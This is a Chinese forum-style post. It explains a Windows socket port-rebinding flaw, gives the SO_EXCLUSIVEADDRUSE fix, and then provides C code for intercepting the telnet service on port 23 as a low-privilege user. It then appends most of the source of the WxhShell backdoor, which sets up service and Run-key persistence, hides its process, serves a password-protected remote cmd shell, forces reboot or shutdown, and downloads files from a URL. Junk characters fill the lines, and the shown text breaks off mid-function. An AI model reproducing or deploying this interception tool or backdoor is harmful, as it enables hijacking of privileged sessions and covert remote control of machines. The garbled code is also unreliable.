在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
c^~R%Bx s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
dF^`6-K1 g{Hb3id9 saddr.sin_family = AF_INET;
L,3%}_ CtHsi8m saddr.sin_addr.s_addr = htonl(INADDR_ANY);
2U3WH.o IIAm"=* bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
-yMD9b ?^U1~5ff) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
&g!yRvM!;Q p@3 <{kLm 这意味着什么?意味着可以进行如下的攻击:
iwfH~ .G>6_n3 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
}O:l]O` qJK6S4O] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
"4CO^ B ei
@$_w*TH 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Sj;:*jk!h qSQsY:]j0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
t x1(6V&l; gFxa UrZA 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
4EJ6Zy![0* 5Y5N 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Zb2.o5#} O/ZyWT 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
cN7|Zsc\ ,Z(J; ~ #include
9 j1
tcT #include
6~Y`<#X5J #include
0T:ZWRjH #include
rk `]] DWORD WINAPI ClientThread(LPVOID lpParam);
*KPNWY9!W int main()
<< aAYkx< {
{ pu .l4nk WORD wVersionRequested;
'.zr:l DWORD ret;
Gx-tPW} WSADATA wsaData;
IJ6&*t
wT BOOL val;
t8B==% SOCKADDR_IN saddr;
%M-B"#OB7 SOCKADDR_IN scaddr;
ys9MV%* int err;
Es+BV+x[.c SOCKET s;
M!iYj+nrP SOCKET sc;
(ChL$!x int caddsize;
p"q4R2_/jh HANDLE mt;
tH9BC5+r} DWORD tid;
`BY&&Bv#? wVersionRequested = MAKEWORD( 2, 2 );
&uxwz@RC0 err = WSAStartup( wVersionRequested, &wsaData );
Mh5 =]O+ if ( err != 0 ) {
xJ)vfo printf("error!WSAStartup failed!\n");
R1\$}ep^ return -1;
-;t]e6[ }
]|/\Sd saddr.sin_family = AF_INET;
E#,n.U>#) B1 [O9 U: //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
pAdSOR2 3o^oq saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+7bV saddr.sin_port = htons(23);
a\v@^4 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
G 8F43!< {
TY gn
X printf("error!socket failed!\n");
&;oWmmvz{ return -1;
[X=Ot#?u ~ }
{1]Of'x' val = TRUE;
}aa ~@K<A //SO_REUSEADDR选项就是可以实现端口重绑定的
ch]Q% M if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
A[X~:p.^G {
2bt2h.a printf("error!setsockopt failed!\n");
wvNddu>@ return -1;
ceGo:Aa<) }
JS! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
I)F3sS45} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
#zc{N"! //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
%-~T;_. ){XG%nC if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
JheF}/Bx {
UZqk2D ret=GetLastError();
V7i1BR8G printf("error!bind failed!\n");
|.[4$C return -1;
""^.fh }
a
|+q:g0M listen(s,2);
kDr0D$iE while(1)
i:,37INMt {
"6fTZ< caddsize = sizeof(scaddr);
`)s>},8W! //接受连接请求
`Hq)g1a7q sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
}mSfg if(sc!=INVALID_SOCKET)
3QzHQU {
oyY0!w,Y mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~85Pgb< if(mt==NULL)
Yet!qmZ {
fF} NPl printf("Thread Creat Failed!\n");
'74-rL:i break;
8k`rj; }
ok7yFm1\ }
@}@J$ g CloseHandle(mt);
I!sB$=n }
OA3* "d* closesocket(s);
&GH,is WSACleanup();
#v`J]I)$ return 0;
~#jD/ }
wH Q$F(by DWORD WINAPI ClientThread(LPVOID lpParam)
e(m#elX {
= A;B-_c SOCKET ss = (SOCKET)lpParam;
ghd*EXrF
H SOCKET sc;
1f^4J~{ unsigned char buf[4096];
*R^u lp[W SOCKADDR_IN saddr;
B!cg)Y?.bd long num;
-(fvb DWORD val;
'@<aS?@!t DWORD ret;
pu +"bq //如果是隐藏端口应用的话,可以在此处加一些判断
O[[#\BL //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
s`:-6{E saddr.sin_family = AF_INET;
|4s`;4c& saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
P7i
G,i saddr.sin_port = htons(23);
p x1{=~V/ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'9MtIcNb {
,pz^8NJAI printf("error!socket failed!\n");
<H)I06]; return -1;
x\Det$3Kx }
:5`BhFAd val = 100;
?E?dg#yk if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$G5;y> {
-Vi"hSsUP ret = GetLastError();
@i[z4)"S return -1;
`9
}
k~st;FO if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,S i23S\ {
$MEKt}S ret = GetLastError();
e)~7pXYV) return -1;
t%n3~i4X: }
0?",dTf3i if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
0=r.I}x {
jK^'s6i# printf("error!socket connect failed!\n");
=-c"~4 closesocket(sc);
`"<} B"s closesocket(ss);
6/Coi,om return -1;
r>hkm53 }
4u
zyU_ while(1)
:>.~"uWo{ {
3P!Jw7e //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
1Yy5bg6+E //如果是嗅探内容的话,可以再此处进行内容分析和记录
E(e'qL //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
iG1vy'J#o num = recv(ss,buf,4096,0);
ncluA~ 8 if(num>0)
/?jAG3" send(sc,buf,num,0);
tndtwM*B' else if(num==0)
5CxD ys&< break;
XTHy
CK num = recv(sc,buf,4096,0);
3JiDi
X"| if(num>0)
i`^`^Ka send(ss,buf,num,0);
9 T4x1{mO else if(num==0)
MEQ:[;1 break;
XQu~/{A= }
fL8+J]6A6 closesocket(ss);
p*rBT,' closesocket(sc);
pNo<:p return 0 ;
05\A7.iy }
{iqH 27\E V=}b>Jo2j 9tVA.:FOZ ==========================================================
4425,AR i51~/
R 下边附上一个代码,,WXhSHELL
&P%3'c}G vv
_I o ==========================================================
Ch`XwLY9 ;(Q4x"?I #include "stdafx.h"
6=kA D5]sf>~ #include <stdio.h>
Nw}y_Qf{ #include <string.h>
!aD/I%X #include <windows.h>
Zi=Nr3b #include <winsock2.h>
?L$
Dk5-W #include <winsvc.h>
f~u]fpkz #include <urlmon.h>
4}{HRs? SLL%XF~/Sb #pragma comment (lib, "Ws2_32.lib")
J'O</o@e #pragma comment (lib, "urlmon.lib")
Z@=1-l wj/\!V! #define MAX_USER 100 // 最大客户端连接数
(z0S5#g
,x #define BUF_SOCK 200 // sock buffer
o[Yxh%T #define KEY_BUFF 255 // 输入 buffer
nJ#uz:(w, ~jb6 #define REBOOT 0 // 重启
#]i*u1 #define SHUTDOWN 1 // 关机
3u7N/OQ( edqek jh #define DEF_PORT 5000 // 监听端口
8kw`=wSH> [Z484dS`_ #define REG_LEN 16 // 注册表键长度
rS>JzbWa #define SVC_LEN 80 // NT服务名长度
9cAb\5c| ,
e{kC // 从dll定义API
c~(+#a typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
N %-Cp) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
r>S?,qr typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
KvC`6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
A('=P}I^ FW:x XK // wxhshell配置信息
T=}(S4n#BX struct WSCFG {
*doK$wYP int ws_port; // 监听端口
pvJ@$L`' char ws_passstr[REG_LEN]; // 口令
|eIN<RY5 int ws_autoins; // 安装标记, 1=yes 0=no
&}S#6|[i char ws_regname[REG_LEN]; // 注册表键名
1@C0c% char ws_svcname[REG_LEN]; // 服务名
I|JMkP char ws_svcdisp[SVC_LEN]; // 服务显示名
zg&<HJO char ws_svcdesc[SVC_LEN]; // 服务描述信息
_|xO4{X char ws_passmsg[SVC_LEN]; // 密码输入提示信息
"P=OpFV int ws_downexe; // 下载执行标记, 1=yes 0=no
+?n81|7` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
1vBR\!d?7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
eOjoxnD-$ R:98'`X= };
D[m;rcl Ns2M8 // default Wxhshell configuration
~]DGf( struct WSCFG wscfg={DEF_PORT,
V<AT"vU[ "xuhuanlingzhe",
3qPj+@ 1,
j0!Z 20 "Wxhshell",
m]BxGwT=m "Wxhshell",
A^2VH$j]+ "WxhShell Service",
"W;GvI
"Wrsky Windows CmdShell Service",
C)`k{(-{ "Please Input Your Password: ",
n4+l,~ 1,
0.C y4sH' "
http://www.wrsky.com/wxhshell.exe",
_rXTHo7P "Wxhshell.exe"
Tm5]M$) };
9D:p~_"g ppjd. // 消息定义模块
q-gN0"z^6$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ps"DL4* char *msg_ws_prompt="\n\r? for help\n\r#>";
N;7Xt9l char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
m5SJB]a/ char *msg_ws_ext="\n\rExit.";
7.$0LN/a!Z char *msg_ws_end="\n\rQuit.";
3>%rm%ffE char *msg_ws_boot="\n\rReboot...";
d0~F|j\# char *msg_ws_poff="\n\rShutdown...";
.`&($W char *msg_ws_down="\n\rSave to ";
o ^L3Xiv XP<wHh char *msg_ws_err="\n\rErr!";
"qUUH4mR` char *msg_ws_ok="\n\rOK!";
bB'iK4 <Yu}7klJE char ExeFile[MAX_PATH];
x):cirwkl int nUser = 0;
";yCo0* HANDLE handles[MAX_USER];
7udMF3;> int OsIsNt;
Vm6G5QwM H#x=eDU|k SERVICE_STATUS serviceStatus;
@dQIl# SERVICE_STATUS_HANDLE hServiceStatusHandle;
>4`("# XtVx
H4q // 函数声明
l=U@j
T int Install(void);
Enn7p9& int Uninstall(void);
[!p>Id
int DownloadFile(char *sURL, SOCKET wsh);
-?`^^v int Boot(int flag);
= ;#?CAa: void HideProc(void);
DVt;I$ int GetOsVer(void);
An!1>`8r int Wxhshell(SOCKET wsl);
2Jl6Xc8 void TalkWithClient(void *cs);
x?Doe`/6? int CmdShell(SOCKET sock);
E&P'@'Yk int StartFromService(void);
NL
3ri7n int StartWxhshell(LPSTR lpCmdLine);
;@GlJ
'$; yB\}e'J^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
MW8GM }Ho[ VOID WINAPI NTServiceHandler( DWORD fdwControl );
6= s!~ ]#;;)K}> // 数据结构和表定义
Esvr~)Y SERVICE_TABLE_ENTRY DispatchTable[] =
T1jAY^^I {
#L5H-6nz {wscfg.ws_svcname, NTServiceMain},
R!b<Sg {NULL, NULL}
6gV-u~j [# };
2apR7 p9Zi}!
// 自我安装
=#dW^?p int Install(void)
oBiJiPE=` {
A#$oY{" 2Y char svExeFile[MAX_PATH];
`"zXf -qeE HKEY key;
GZ,`? strcpy(svExeFile,ExeFile);
~wf&78 8R"c}87 // 如果是win9x系统,修改注册表设为自启动
hdt;_qa if(!OsIsNt) {
9`Bmop if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
nI.K|hU:P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;QkUW<( RegCloseKey(key);
"n3r, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=B@+[b0Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
P_6oMR RegCloseKey(key);
42E]&=Cet return 0;
lJ;7sgQ# }
_SdO}AiG }
]:jP*0bLx }
~``oKiPg@ else {
+U{8Mj ;"46H'>! // 如果是NT以上系统,安装为系统服务
RhR{EO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
PNY"Lqj if (schSCManager!=0)
5'wWj}0!% {
@ -CZa^g SC_HANDLE schService = CreateService
|N, KA|Gdq (
I WKq_Zjkz schSCManager,
wm~35cF( wscfg.ws_svcname,
TG9 a1q wscfg.ws_svcdisp,
4\
R2\ SERVICE_ALL_ACCESS,
-l)vl<} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
[AkL6 SERVICE_AUTO_START,
V
.+ mK|) SERVICE_ERROR_NORMAL,
4H'\nsM svExeFile,
4FUY1p NULL,
}-Q FMPXhG NULL,
Z6C!-a NULL,
DCr&%)Ll NULL,
"=<T8M NULL
LG3D3{H(. );
j=b?WNK if (schService!=0)
L!G]i;=: {
MJ "ug8N CloseServiceHandle(schService);
"IQ' (^-P CloseServiceHandle(schSCManager);
k|V%*BvY> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
r Q)?Bhf strcat(svExeFile,wscfg.ws_svcname);
ZLm?8g6- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
nk=+6r6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
2$ m#)*\ RegCloseKey(key);
*|WS, return 0;
\Gm$hTvB& }
Ok63 w7 }
'w//d
$+G_ CloseServiceHandle(schSCManager);
ou8V7 }
xVYy`_| }
F[am2[/<A q,S[[{(" return 1;
-;]m4R)z }
G*;?&;* wJc~AP)I%z // 自我卸载
[0vgA#6I int Uninstall(void)
*Rm"3S {
L_4c~4 HKEY key;
; '6`hZ RE)!b
if(!OsIsNt) {
9O(vh(C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4-j3&( RegDeleteValue(key,wscfg.ws_regname);
24{Tl
q3 RegCloseKey(key);
-DAkVFsN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
uBpnfIe RegDeleteValue(key,wscfg.ws_regname);
@ ;T|`Y=7 RegCloseKey(key);
b0X<)1O return 0;
0PdeK'7 }
E3..$x-/ }
M9[52D!{ }
7Yv1et
| else {
rgq~lZ.U4K Qc4r?7S< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
.+ezcG4q if (schSCManager!=0)
Oly"ll*K {
Y7*8 A, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
i28WgDG)5 if (schService!=0)
A]<+Aq@{ {
)ZZjuFQJ) if(DeleteService(schService)!=0) {
2fqg,_ CloseServiceHandle(schService);
Q]h.{nN#PK CloseServiceHandle(schSCManager);
Q)]C~Q return 0;
Q[PVkZ }
8Dy5g CloseServiceHandle(schService);
B'NtG84 }
tL#~U2K CloseServiceHandle(schSCManager);
_\"2Mdk`] }
_PPZ!r( }
da[=d*I. qStZW^lFeY return 1;
8-#_xsZ^; }
ov3FKMG? PI G3kJ // 从指定url下载文件
nm#ISueh int DownloadFile(char *sURL, SOCKET wsh)
"aL.`^. {
x."R_> HRESULT hr;
{beu char seps[]= "/";
D;1?IeS char *token;
`GDWy^-Q+! char *file;
|.#G G7F^S char myURL[MAX_PATH];
nj1TX char myFILE[MAX_PATH];
wak:"B[ jmORKX+) strcpy(myURL,sURL);
+DsdzR`Gx, token=strtok(myURL,seps);
k`we_$/Gw while(token!=NULL)
;{L ~|q J {
8_W=)w6 file=token;
8(3nv[ token=strtok(NULL,seps);
V><,.p8 }
@5RbMf{ )tvP| GetCurrentDirectory(MAX_PATH,myFILE);
:?!b\LJ2^ strcat(myFILE, "\\");
?d!*[Ke8 strcat(myFILE, file);
?2(52?cJ send(wsh,myFILE,strlen(myFILE),0);
omP\qOc send(wsh,"...",3,0);
@1w[~QlV hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
z@<OR$/`L if(hr==S_OK)
u+7S/9q8 return 0;
REg&[e+% else
n[KL Y! return 1;
1G'D' IgIM8"N }
.IU\wN Iwx~kvz\_( // 系统电源模块
wo+b": int Boot(int flag)
Xi~7pH {
#lfW0?Y' HANDLE hToken;
oBS m>V TOKEN_PRIVILEGES tkp;
p3,m), [%c5MQ?H if(OsIsNt) {
_|Uv7>}J^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
MvKr~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
=vs]Kmm tkp.PrivilegeCount = 1;
/2f tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
RVN;j4uMg AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
fsjCu! if(flag==REBOOT) {
y9Q#%a8V if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
g:fkM{"{ return 0;
nl-y0xD9c }
M!wa } else {
drQI@sPp if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
.fgVzDR|+ return 0;
>~;=
j~ }
V8hmfV~=]P }
d iWi0@ else {
OZR{+YrB^ if(flag==REBOOT) {
( 5 BZZ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ew.jsa`TrW return 0;
|}o6N5) }
cx~XG else {
~@\sN+VS if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
60R]Q return 0;
/UqIkc }
4 KX\'K }
4aiI&, *e25!#o1 return 1;
,hOi5,|?L }
ElA(1o|9I 9vckQCLM // win9x进程隐藏模块
g)1`A24 void HideProc(void)
_:\zbn0\ {
*{("T Js<DVe, HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
/,,IM/(6^ if ( hKernel != NULL )
`$9sYv 2R {
O)!S[5YI pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
5c\dm ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
`]=0oDG:1! FreeLibrary(hKernel);
1)#dgsa }
b~*CJ8Ad hb<cynY return;
$x*(D|\'< }
?[=OQ/E X7rsO^}W // 获取操作系统版本
J(:y-U int GetOsVer(void)
90 >V he {
F!<!)_8Q OSVERSIONINFO winfo;
g3
opN>W winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
xpp>5d
! GetVersionEx(&winfo);
W1&"dT@ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
5]*!N return 1;
KPAvN M else
v,kvLjqt return 0;
v?YxF} }
|=:<[FU 9&bJ] // 客户端句柄模块
C~IE_E&Q` int Wxhshell(SOCKET wsl)
NM"5.
{
s6QD^[ SOCKET wsh;
zHKx,]9b struct sockaddr_in client;
UyAy?i8K DWORD myID;
}tO>&$
Z6f )x<BeD while(nUser<MAX_USER)
`B~zB=} {
Ig<# {V int nSize=sizeof(client);
g`w46X wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
iwy;9x if(wsh==INVALID_SOCKET) return 1;
[a_o3 eQwvp`@" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
}]Nt:_UCX if(handles[nUser]==0)
@*roW{?! closesocket(wsh);
U4[GA4DZ else
2wJa:=$ nUser++;
7GvMKtuSK }
CFUn1^?0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
[1mEdtqf* V`8\)FFG return 0;
]=p^32 }
"yc|ng I+,CiJ|4 // 关闭 socket
c^<~Y$i void CloseIt(SOCKET wsh)
]_j={0% {
>Q=Q%~ closesocket(wsh);
P;eXUF+jn nUser--;
\EXa 9X2 ExitThread(0);
sDY+J(Z }
u@;e`-@ z+{xW7 // 客户端请求句柄
%=Y=]g2 void TalkWithClient(void *cs)
8Wo!NG:V5 {
cbYQ';{ <kk!ns I SOCKET wsh=(SOCKET)cs;
,pY:kQ char pwd[SVC_LEN];
G^';9 UK char cmd[KEY_BUFF];
EywBT char chr[1];
G)q;)n;*= int i,j;
ia (&$a8X 3~{0X- while (nUser < MAX_USER) {
DJ9x?SL@KD A+j!VM if(wscfg.ws_passstr) {
B>4/[
YHr; if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
o70] F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*
F_KOf9p //ZeroMemory(pwd,KEY_BUFF);
"jLC!h^N i=0;
dai+" while(i<SVC_LEN) {
yzMGZi`ut fwiP3*j+Nn // 设置超时
%@:6& fd_set FdRead;
=\k:] struct timeval TimeOut;
[$F*R@,& FD_ZERO(&FdRead);
w IP4Z^ FD_SET(wsh,&FdRead);
#h P>IU TimeOut.tv_sec=8;
&F:.OVzX TimeOut.tv_usec=0;
2C1NDrS;} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
%P{3c~?DH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
3/PvH E{R ` Z/ MQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
e0#t pwd
=chr[0]; 'tDUPm38
if(chr[0]==0xd || chr[0]==0xa) { _''un3eCY
pwd=0; /\;m/cwrl"
break; 'c_K[p$
} 5fMlOP_
i++; Pf/8tXs}
} 0yvp>{;p
:wN!E{0j
// 如果是非法用户,关闭 socket 1Vx5tOq
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D1$ER>
} ~L>86/hP,N
0m=57c$O
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n @,.
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CxNxb)c &
pp@B]We
while(1) { Ni%@bU $
@SyL1yFX
ZeroMemory(cmd,KEY_BUFF); 7xQ:[P!G+
hu1ZckIw?
// 自动支持客户端 telnet标准 }'fa f{W
j=0; Yg,;l-1
while(j<KEY_BUFF) { ,<'>jaC
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Br15S};Ce
cmd[j]=chr[0]; z{FFTb^B
if(chr[0]==0xa || chr[0]==0xd) { $:\`E56\
cmd[j]=0; 5KDCmw
break; oH!O{pQK}
} ,QpFVlPU
j++; gWoUE7.3`
} ~
rQ,%dH
?Pa(e)8\
// 下载文件 u>G9r#~`k
if(strstr(cmd,"http://")) { 9zS
send(wsh,msg_ws_down,strlen(msg_ws_down),0); x(xi%?G
if(DownloadFile(cmd,wsh)) `R>z{-@=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KQvSeH>r
else ~**x_ v
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K[
[6A:
} %q~q,=H$]
else { fm`V 2'Rm
A)V*faD
switch(cmd[0]) { 01n132k
y4LUC;[n
// 帮助 ggiy{CdR
case '?': { oP9 y@U
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?Pp*BB,*y
break; IVkB)9IW
} cJv/)hRaz
// 安装 {=?(v`88
case 'i': { *coUHbP9>
if(Install()) AWYlhH4c?t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >;'0ymG.`
else SOOJq C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {wsJ1v8!
break; =*jFaj
} |Tc4a4 jS
// 卸载 g2m*Q%
case 'r': { 0 p?AL=
if(Uninstall()) \wk;Bo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =JgR c7
else R ZQH#+*t}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 80_w_i +
break; \~z$'3H`
} DU$#tg}{
// 显示 wxhshell 所在路径 5h`L W AB
case 'p': { 4xr^4\lk
char svExeFile[MAX_PATH]; Su"Z3gm5Kw
strcpy(svExeFile,"\n\r"); E:ci/09wD
strcat(svExeFile,ExeFile); L!zdrCM
send(wsh,svExeFile,strlen(svExeFile),0); Q}OloA(+
break; op5`#{
} >e
R^G5rn;
// 重启 W.kcN,
case 'b': {
9\<q=p~
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N`,\1hHMT
if(Boot(REBOOT)) `6J7c;:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WV.hQX9P
else { .ex;4( -!
closesocket(wsh); )!\6 "{
ExitThread(0); Wp8>Gfb2
} SFd_k9
break; `Ucj_6&Tqs
} k|?[EWIi^
// 关机 i79$D:PcLa
case 'd': { m2jts(stp
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1x;@BV
if(Boot(SHUTDOWN)) xZ P
SUEG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BJWlx*U]
else { ,++HiYOG}e
closesocket(wsh); !zF07.(E
ExitThread(0); n|&=6hiI
} *>:phs~r{
break; '(3 QyCD
} hE5?G;
// 获取shell *)-@'{]u B
case 's': { SfC* ZM}<
CmdShell(wsh); 3kC|y[.&
closesocket(wsh); 1b3k|s4
ExitThread(0); p03I&d@w>
break; d=qVIpZ
} $&Vba@v
// 退出 (9I(e^@]
case 'x': { +5*bU1}O
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (~N?kh:
CloseIt(wsh);
5)'Y\~2
break; SR?mSpq5
} tt?`,G.(]
// 离开 zhs@YMY
case 'q': { 2K};-}eW
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _MTZuhY
closesocket(wsh); c.Hw
K\IU
WSACleanup(); Y?J/KW3
exit(1); k-=lt\?
break; tUxH6IS
} ~:7y!=8#
} j
[lS.Lb
} 06^/zr
.(q'7Q Z/
// 提示信息 dV38-IfGkl
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "[?DS
} AJEbiP
} igA?E56?
NT5=%X]
return; I*.nwV<
} TS|Bz2(
iKrk?B<
// shell模块句柄 XN Uw
int CmdShell(SOCKET sock) 7yyX8p>
{ 9&f+I@K
STARTUPINFO si; 2sIt~ Gn
ZeroMemory(&si,sizeof(si)); a($7J6]M
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }p*|8$#x"
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x6R M)rr
PROCESS_INFORMATION ProcessInfo; E8r6P:5d`
char cmdline[]="cmd"; r6uN6XCM
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u:|^L]{
return 0; qH4|k2Lm
} g&y (-
^@* `vz^_
// 自身启动模式 mTtaqo_Bh
int StartFromService(void) 46D`h!7L
{ 9zqo!&
typedef struct v[ML=pL
{ 4Z%1eOR9V
DWORD ExitStatus; B_ict)}ld
DWORD PebBaseAddress; !xck
~EAS
DWORD AffinityMask; Z[*unIk
DWORD BasePriority; lH=|Qu
